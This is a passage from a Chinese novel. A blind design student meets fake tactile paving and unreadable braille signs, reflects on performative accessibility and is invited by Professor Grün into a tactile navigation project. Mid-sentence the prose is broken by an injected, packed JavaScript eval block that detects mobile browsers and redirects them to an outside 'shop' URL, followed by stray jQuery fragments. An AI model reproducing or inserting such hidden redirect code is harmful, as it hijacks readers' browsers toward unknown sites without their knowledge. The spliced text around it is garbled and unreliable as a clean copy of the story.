新奇感和探索欲像一层暂时隔绝痛苦的糖衣，随着时间推移，在日常的磕绊中渐渐融化。随后，那些真实存在的问题，开始露出其坚硬而粗糙的棱角。
“白骑士”的杖头，不止一次在理应连贯的盲道上，突兀地中断。多贝停下来，蹲下身摸索，指尖触到的是冰冷光滑的地砖，或是粗糙不平的碎石路面。盲道消失了，像一个被随意掐断的句子，把她孤零零地抛在路中央。有时，它会被一辆自行车、一个货摊、甚至是一排随意停放的共享单车彻底占据。她不得不像个探险家一样，绕开这些“路障”，在陌生的空间里重新定位，寻找那条可能根本不存在的、断续的“安全路径”。
更令她感到讽刺的是那些盲文标识。在银行、医院、地铁站的某些地方，她摸到过它们。有些凸点已经模糊不清，被无数次触摸或岁月磨平了棱角，像一本被翻烂了关键页的书；有些盲文的点位完全无法拼读，中英混杂，甚至就是毫无意义的乱码；有些则干脆是平的——只是印刷上去的、给明眼人看的盲文图案。她的指尖划过那些光滑的、毫无信息量的“点”，第一次如此清晰地认识到，这根本不是给盲人阅读的，这是一场精心设计的、面向健全人的“关怀表演”。它们无声地宣告着：这里的“无障碍”，只是一个敷衍的、未被严肃对待的概念。
因为盲人看不见，所以他们就从未被看见吗？多贝这样想着。
她开始记录。在心里反复咀嚼。每一次失败，每一次受阻，每一次触摸到那虚伪的“关怀”，都像一根细针，扎在她的专业自尊上。
她第一次开始认真反思自己以前交上去的那些设计作业，或是参加竞赛时那些自以为兼具美学与“人文关怀”的作品。那些流畅的线条、和谐的色彩、充满“隐喻”的空间布局……除了美，除了自我感动，除了满足课程要求和评委眼光，它们真的帮到那些有实际需要的人了吗？还是说，它们和自己此刻触摸到的这些流于形式的“设计”一样，不过是健全世界一次傲慢的“施舍”或敷衍的交代？
她将自己的观察、体验、困惑和初步的反思整理成
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17326725|199126||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
文，第一次郑重地联系了格吕恩教授。她尽量冷静地陈述事实、提出问题，并表达了希望对无障碍设计领域产生些微影响的渴望。
格吕恩教授的回信比她预想的更快，也更振奋人心。教授仔细阅读了她的邮件，并对她的观察和思考表示了赞赏。邮件中写道：“……你能在亲身经历中迅速跳出个人情绪，观察到存在的普遍性障碍，这非常可贵。目前的许多‘无障碍设计’确实停留在表面，缺乏真正的使用视角。你的经历是遗憾的，但它可以转化为独特的研究优势——你正处于一个独特的位置。我的团队正在启动一个关于智能触觉导航系统的基础研究项目，我想邀请你加入这个项目，作为研究助理和核心体验者——如果你愿意的话。
收到回信的多贝，那些积压的郁闷和愤怒，被一种明确的、充满力量的目标感所取代。她想要回到德国，想要亲自站在慕尼黑的地铁站、广场、街道上，去“触摸”和“聆听”那座城市，更想要尽快见到格吕恩教授，投身到那个听起来就激动人心的项目中去。